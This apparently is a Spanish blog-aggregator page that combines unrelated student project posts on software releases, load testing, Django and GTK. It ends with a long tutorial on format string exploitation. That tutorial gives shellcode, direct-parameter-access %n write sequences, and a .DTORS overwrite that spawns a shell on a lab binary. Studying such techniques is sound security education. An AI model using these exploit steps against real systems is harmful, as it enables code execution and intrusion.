Planet

Ha sido publicada en la sección descargas una nueva versión de JavaDiKt. Esta versión incluye muchas mejoras y soluciona varios bugs, se han añadido además las referencias de kanjis contenidas en el “Kanji Basic Book vol 1&2″, que son los libros usados en las clases de Japonés del Instituto de Idiomas de la Universidad de … Continuar leyendo »

Versión 0.0.1

• Creación de ligas
  • Un usuario puede crear infinitas ligas.
  • Al crear una liga selecciona un único equipo y el número de equipos de la liga.
  • En el momento de generar la liga se generan las jornadas y los emparejamientos.
• El usuario puede avanzar jornada a jornada.
  • Antes de cada partido el usuario puede:
    • Modificar la alineación (selecciona 11 jugadores titulares, de los cuales uno debe ser portero).
    • Consultar clasificación.
• El resultado de los partidos es determinado de forma muy simple.
• Al finalizar la liga, se muestra la clasificación y el equipo campeón.

Versión 0.0.2

• Posibilidad de que jueguen varios usuarios.
• Habilidades de los jugadores.
• Mejorar algoritmo de resultado de partidos.

Versión 0.0.3

• Mercado de fichajes:
  • Poner jugador a la venta
  • Realizar ofertas
  • Aceptar / cancelar ofertas
  • Traspasar jugador

Versión 0.0.4

• Entrenamientos de jugadores.
• Lesiones
• Sanciones.

Hoy mientras espero mi vuelo que lleva ya 5 horas de retraso me acabo de encontrar un ejemplo de un sistema parecido a Infant aunque basado en Kinekt lo cual lo diferencia ya que en el caso de Infant tan solo se necesitará una webcam e imagino que el proceso de reconocimiento será totalmente diferente aunque no he indagado demasiado en eso sino que he visto una demo que me ha impresionado y gustado bastante, os lo dejos a continuación:Eso si sin duda lo mejor es el reconocimiento de voz como interfaz de usuario, que también es algo que tenía pensado y por eso me he encontrado este ejemplo en el blog de Sphinx que es un sistema libre de reconocimiento de voz con el cual espero trastear algo estas vacaciones.

Estos días me interesé por curiosidad en los test de carga para las aplicaciones web, y me he dado cuenta de que era un punto fundamental que estaba pasando por alto.
Después de una semana desarrollando test, me he dado cuenta de varias cosas:

• Prefiero utilizar Unittest de Python (de hecho, mejor el módulo django.test de Django, que evita algunas incompatibilidades entre la versión unittest2 y versiones anteriores de Python) que los Doctests.

• Los test de la aplicación son un punto básico para poder avanzar sin tener que comprobar en cada momento si continua funcionando lo que habíamos realizado anteriormente.

• Tan importante es comprobar que las cosas hacen lo que se desea que hagan, como comprobar que no hacen lo que no se desea que hagan.

Pero me seguía quedando con ganas de probar otro aspecto de la aplicación, y era cómo respondería la aplicación ante un número elevado de peticiones simultáneas.
Para este punto he buscado software, y finalmente he encontrado uno que me ha convencido lo suficiente: grinder. Grinder es un software libre que se encarga de crear procesos e hilos de ejecución que realizan peticiones que indiques a una aplicación web.
Los puntos importantes que me han convencido de grinder es la sencillez para programar los test (sobre todo si antes has programado algún unittest) y para configurar el número de usuarios que harán las peticiones a tu aplicación (en realidad, número de procesos, y número de hilos por proceso).
Las conclusiones de los test son satisfactorias: la aplicación se comporta antes las peticiones como debería (y no tengo que preocuparme más de lo que ya había programado, pues solo tengo que ejecutar el test para comprobarlo, e ir añadiendo cosas al test), y funciona con parámetros más que aceptables para 300 usuarios simultáneos.

Ahora que he arreglado la publicación de entradas en el blog, y siguiendo el consejo de algún compañero, voy a empezar a subir imágenes a la sección correspondiente del blog que acabo de crear, para que se vea cómo va quedando el proyecto.
En concreto, las imágenes que subiré son:

• Capturas de la aplicación local, en donde se muestre tanto el aspecto de la aplicación como los pasos a seguir para modificar una imagen de Ubuntu Linux.

• Capturas de la aplicación web, en donde se muestre el aspecto actual de la aplicación, así como funciones interesantes que pueda destacar.

• Imágenes de los resultados de los test realizados a la aplicación web (tanto con unittest como con grinder).

En un principio era reacio a utilizar la gestion de tareas que ofrece la forja, porque no me parecía un punto interesante. No obstante, a medida que el proyecto ha ido progresando, ha crecido también su complejidad, y he llegado a un punto en el que llevar una cierta organización en la tareas que se dejan pendientes, en las tareas que se quieren hacer, o en los puntos importantes a cambiar dentro del proyecto es fundamental.
Y para solucionar este problema, decidí probar el funcionamiento de la gestión de tareas de la forja. Realmente no es el mejor gestor de tareas que se podría utilizar, pero la gran ventaja que supone el hecho de estar integrado dentro del propio repositorio del proyecto, hace que sea la mejor opción que existe para utilizar en este proyecto.
Por tanto, ya se pueden visualizar las tareas realizadas o pendientes de hacer del proyecto, así como su fecha. Creo que esto permitirá a los colaboradores poder ayudarme de forma más organizada, sabiéndo en que puntos pueden ayudar, y cuales son los plazos fijados para cada aspecto. También descargará un poco la necesidad de informar de todos los pequeños pasos en el blog, permitiéndome centrarme en aspectos más importantes o interesantes en estos posts.
En cuanto a su organización, he dividido las tareas en 2 grupos: Aplicación Local y Aplicación Web. Podeis ver más detalles en el siguiente enlace:
https://forja.rediris.es/pm/?group_id=863

Estos días he trabajado muchísimo en la aplicación web. Estoy cursando una asignatura llamada “Servicios y Aplicaciones Telemáticas” en mi universidad (la Universidad Rey Juan Carlos de Madrid). En esta asignatura estamos utilizando Django para hacer la práctica final (un servicio de micronotas para entradas de identi.ca y twitter).
El trabajo entre la aplicación del proyecto y de la asignatura es paralelo, dado que una de las ventajas de trabajar con Django es que los diversos módulos que hacemos son reutilizables para otras aplicaciones.
En este tiempo, las mejoras realizadas en la aplicación web han sido las siguientes:

• Creación de una hoja de estilos (css) propia para la aplicación. En este punto, quería probar mi propia hoja de estilos, aunque este no es precisamente mi punto fuerte, por lo que cualquier ayuda de cualquier persona es gratamente bienvenida.

• Registro de usuarios en la aplicación, que podrán utilizar su propio avatar.

• Integración de un sistema de geolocalización de usuarios (siempre que no deshabiliten esa opción en la configuración de usuarios) mediante su IP (o facilitando ellos mismos su dirección), e integrando en un mapa la localización de todos los usuarios (utilizando la tecnologia de google maps).

• Programación en javascript para dar un aspecto más “amigable” a la aplicación (visualización de un usuario al pasar el ratón por encima de su avatar, etc.)

En las próximas semanas, quería dedicarme a añadir la posibilidad a los usuarios de enviar un mensaje privado a otro usuario, así como incluir el envío de un email de validación a la dirección de correo facilitada en la cuenta en caso de que más adelante se quieran recibir avisos en el correo (mensajes privados, actualización de paquetes, etc).
Pero sobre todo, el objetivo a incluir dentro de la aplicación web es la posibilidad de generar los dicheros de configuración para la aplicación web. En cuanto este paso esté realizado, ya sólo restará mejorar (y muchísimo habrá que mejorar aún) las aplicaciones, tanto local como web, pero la funcionalidad muy básica estará terminada.

En los próximos días me he propuesto modificar la aplicación local, y dejar de utilizar Glade para el aspecto de las interfaces gŕaficas con Python. Glade es un software muy útil que te permite realizar aplicaciones gráficas en Python de forma sencilla, mediante una GUI de usuario.
Con Glade además respetamos en todo momento el concepto de separar modelo-vista-controlador, ya que necesariamente tenemos la interfaz gráfica en un fichero con extension “.glade” (un XML que contiene un árbol con la interfaz).
No obstante, cuando queremos hacer interfaces más dinámicas o flexibles, utilizar Glade no es la mejor opción. Es por esto que voy a empezar a crear la interfaz de la aplicación directamente desde código Python, con la libreria GTK (respetando siempre el modelo MVC), aunque seguiré utilizando seguramente glade para algún aspecto concreto de la interfaz, así como para hacer un esquema básico de la interfaz y visualizarlo antes de pasarlo a código.

Estos días he tenido problemas con las entradas del blog, que no se publicaban correctamente, y como estoy en época de exámenes no he podido arreglarlo hasta ahora.
A continuación aparecen todas las entradas que he escrito estos días.

Seguimos con la serie de entradas dedicadas a la técnica Format String Attack

• Format String Attack I de III
• Format String Attack II de III
• Format String Attack III de III

Direct Parameter Access (DPA)En las entradas anteriores hemos podido comprobar como para explotar este tipo de vulnerabilidades necesitabamos introducir un número secuencial de parámetros de formato como %x acompañados de palabras de 4 bytes para conseguir de forma exitosa sobreescribir una dirección de memoria en una zona arbitraria de la memoria. Con el DPA conseguimos simplificar todo este trabajo y tener acceso a la dirección de forma directa usando el signo del dólar '$'. Usemos el siguiente código de ejemplo sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gcc -o dpa-poc dpa-poc.c sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./dpa-poc Sexta posición: 6Si antes necesitabamos acceder al dato en el duodécimo offset, usando para ello "%x" doce veces, ahora podemos obtener lo mismo usando para ello: sebas@Penetraitor:~/roote/Universidad/PFC/wiki/tutoriales/string-attack$ ./fst_example BBBB%12\$xCorrecto:BBBB%12$xIncorrecto:BBBB42424242Además también conseguimos simplificar el proceso de escritura en las direcciones de memoria, puesto que al poder ser accedida directamente, no hay necesidad de usar esos 4 bytes separadores innecesarios para aumentar el contador de bytes.Para ejemplificar todo esto un poco más y exponer ejemplos más cercanos, vamos a tratar de escribir alguna dirección de memoria de alguna variable de entorno que tenga por contenido una shellcode basándonos para ello la ténica de DPA.sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ export SHELLCODE=`perl -e 'print "\x90"x50,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`Localicemos su posición exacta:sebas@Penetraitor:~/roote/Universidad/PFC/wiki/tutoriales/string-attack$ ./getenvaddr SHELLCODESHELLCODE está localizada en 0xbffff5e0Ejecutando gdb para obtener información adicional:sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gdb ./fst_example -q(gdb) break mainBreakpoint 1 at 0x08048382(gdb) runStarting program: /home/roote/Universidad/PFC/wiki/tutoriales/string-attackBreakpoint 1, 0x08048382 in main ()Current language: auto; currently asm(gdb) x/s 0xbffff5e00xbffff5e0: ".gpg-agent:3824:1"(gdb) x/s 0xbffff5e0+180xbffff5f2: "SHELLCODE=", '\220' , "1�Ph//shh/bin\211�PS\211�\231�\v�\200"(gdb) x/s 0xbffff5e0+430xbffff60b: '\220' , "1�Ph//shh/bin\211�PS\211�\231�\v�\200"Ya sabemos que nuestra shellcode está en la dirección 0xbffff60b y que:

• Primero: 0xe0 - [ Valor del offset ]
• Segundo: 0xf5 - 0xe0
• Tercero: 0xff - 0xf5
• Cuarto: 0xbf - 0xff

El buffer de direcciones que debemos escribir es:"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"Para hacernos una idea de cómo nuestro ataque utiliza el direct parameter access podemos echarle un vistazo a esto:

• Primero escribe: %[offset]$[valor]x%[offset]$n
• Segundo escribe: %[offset]$[valor]x%[offset+1]$n
• Tercero escribe: %[offset]$[valor]x%[offset+2]$n
• Cuarto escribe: %[offset]$[valor]x%[offset+3]$n

Ahora tratemos de escribir 0xe0 en la primera direccion del buffersebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$x%12\$nCorrecto:H�I�J�K�%12$x%12$nIncorrecto:H�I�J�K�8049648(-) Valor @ 0x08049648 = 23 0x00000017Calculamos el desplazamiento:>>> 0xe0-16208sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$208x%12\$nCorrecto:H�I�J�K�%12$208x%12$nIncorrecto:H�I�J�K� 8049648(-) Valor @ 0x08049648 = 224 0x000000e0El hecho de decrementar el valor en 16 bytes es debido a que es la distancia respecto a la primera dirección introducida.>>> 0xf5-0xe021Ahora escribamos 0xf5 en la segunda dirección del buffer>>> 0xf5-0xe021sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$208x%12\$n%12\$21x%13\$nCorrecto:H�I�J�K�%12$208x%12$n%12$21x%13$nIncorrecto:H�I�J�K� 8049648 8049648(-) Valor @ 0x08049648 = 62944 0x0000f5e0La siguiente dirección del buffer será sobreescrita por 0xff:>>> 0xff-0xf510sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$nCorrecto:H�I�J�K�%12$208x%12$n%12$21x%13$n%12$10x%14$nIncorrecto:H�I�J�K� 8049648 8049648 8049648(-) Valor @ 0x08049648 = 16774624 0x00fff5e0Como podéis ver el offset que delimita el final del rango del buffer a sobreescribir, por cada contenido que deseamos añadir es aumentado en uno.NOTA: Para la operación 0xff-0xf5 el valor obtenido ha sido 10, si al realizar este cálculo obtenemos un número inferior a 8, sería necesario añadir 1 al principio del byte, es decir: 0x1ff-0xf5, pero en este caso no es necesario.Por último escribamos 0xbf en la cuarta dirección del buffer:>>> 0xbf-0xff-64Aplicando el consejo que hemos comentado antes, obtenemos el resultado correcto a partir de:>>> 0x1bf-0xff192sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$nCorrecto:H�I�J�K�%12$208x%12$n%12$21x%13$n%12$10x%14$n%12$192x%15$nIncorrecto:H�I�J�K� 8049648 8049648 8049648 8049648(-) Valor @ 0x08049648 = -1073744416 0xbffff5e0Con esto llegamos a la conclución de que la dirección de la shellcode ha sido escrita correctamente en la dirección de la variable.Sobreescribiendo las zonas .DTORSCuando hablamos de clases y la instancia de objetos respecto a estas, debemos distinguir dos procesos comúnes y estrechamente ligados entre sí, el hecho de llamar al constructor de la clase para reservar un espacio de direcciones donde albergar el objeto, y el destructor utilizado para liberar la zona de memoria ocupada por nuestro objeto una vez el cometido de nuestra aplicaciónfinaliza.Así podemos distinguir en nuestro ELF (entre otras) una sección llamada .CTORS encargada de mantener información referente a los punteros de los constructores, y otra llamada .DTORS con información sobre los punteros de los destructores.Por ahora basta con saber esto y que los constructores son lanzadas antes de que nuestro programa ejecute la función main, y que los destructores se ejecutan inmediantemente después de que finalice con una llamada de salida al sistema. Nosotros en especial, vamos a centrarnos en la sección .DTORS.El motivo de esto, es debido a que la sección .DTORS puede ser sobreescrita, por tanto podemos redirigir el flujo de ejecución de nuestra aplicación a la dirección que nosotros indiquemos una vez termine su ejecución, así obligaríamos por ejemplo a que se ejecutara nuestra shellcode.Veamos todo esto con pequeños ejemplos que nos clarifiquen un poco estos conceptos (código fuente) sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gcc -o dtors_poc dtors_poc.c sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./dtors_poc Traza 1 - Dentro de la función construir atribuida al constructor.Traza 2 - Dentro de la función main.Traza 3 - Dentro de la función destruir atribuida al destructor.Ahora vamos a utilizar el comando objdump para examinar las distintas secciones y en nm para encontrar las direcciones de memoria donde están ubicadas nuestras funciones:sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ nm ./dtors_poc08049f20 d _DYNAMIC08049ff4 d _GLOBAL_OFFSET_TABLE_080484dc R _IO_stdin_used w _Jv_RegisterClasses08049f0c d __CTOR_END__08049f04 d __CTOR_LIST__08049f18 D __DTOR_END__08049f10 d __DTOR_LIST__08048590 r __FRAME_END__08049f1c d __JCR_END__08049f1c d __JCR_LIST__0804a014 A __bss_start0804a00c D __data_start08048490 t __do_global_ctors_aux08048340 t __do_global_dtors_aux0804a010 D __dso_handle w __gmon_start__0804848a T __i686.get_pc_thunk.bx08049f04 d __init_array_end08049f04 d __init_array_start08048420 T __libc_csu_fini08048430 T __libc_csu_init U __libc_start_main@@GLIBC_2.00804a014 A _edata0804a01c A _end080484bc T _fini080484d8 R _fp_hw08048294 T _init08048310 T _start0804a014 b completed.6635080483c4 t construir0804a00c W data_start080483fe t destruir0804a018 b dtor_idx.6637080483a0 t frame_dummy080483d8 T main U puts@@GLIBC_2.0El comando objdump vamos a pasarlo con las opciones:

• j - Mostramos solo información para la sección que indiquemos, en nuestro caso será la sección .dtors.
• s - Indicamos que deseamos obtener toda la información posible sobre las secciones indicadas.

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ objdump -s -j .dtors ./dtors_poc./dtors_poc: file format elf32-i386Contents of section .dtors: 8049f10 ffffffff fe830408 00000000 ............ Como comentábamos al principio, si hacemos un objdump a las cabeceras de sección, observaremos que la sección .DTORS no está etiquetada como sólo lectura (READONLY), para esto nos apoyaremos en la opción -h encargada de mostrarnos la información albergada en las cabeceras de las distintas secciones que componen nuestro fichero objeto.sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ objdump -h ./dtors_poc ... 4 .dynsym 00000050 080481b0 080481b0 000001b0 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA ... 17 .dtors 0000000c 08049f10 08049f10 00000f10 2**2 CONTENTS, ALLOC, LOAD, DATAAl principio de tratar esta sección hablábamos sobre la posibilidad de sobreescribir una dirección de memoria y encauzar el flujo de ejecución de nuestra aplicación hacia esa dirección, de esta forma comentábamos que se podría ejecutar nuestra shellcode, aprendamos cómo hacerlo, pero antes debemos escribir el siguiente format string con DPA tal y como indicamos en la apartado anterior:"%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n"Con esto escribiremos en la dirección 0xbffff5e0, que apunta a nuestra shellcode a través de la variable "valor".El siguiente paso será construir nuestro buffer con las direcciones a ser escritas, para este ejemplo un buen comienzo podría ser la dirección donde está contenido el buffer de la sección .DTORS:sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ nm ./fst_example | grep DTOR0804954c d __DTOR_END__08049548 d __DTOR_LIST__Quedando el buffer:"\x4c\x95\x04\x08\x4d\x95\x04\x08\x4e\x95\x04\x08\x4f\x95\x04\x08"Comprobemos si funciona:sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x4c\x95\x04\x08\x4d\x95\x04\x08\x4e\x95\x04\x08\x4f\x95\x04\x08"`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$nCorrecto:L�M�N�O�%12$208x%12$n%12$21x%13$n%12$10x%14$n%12$192x%15$nIncorrecto:L�M�N�O� 804954c 804954c 804954c 804954c(-) Valor @ 0x08049648 = 50 0x00000032sh-2.05b$Listo, hemos conseguido sobreescribir correctamente nuestra sección .DTORS y ejecutar nuestra shellcode.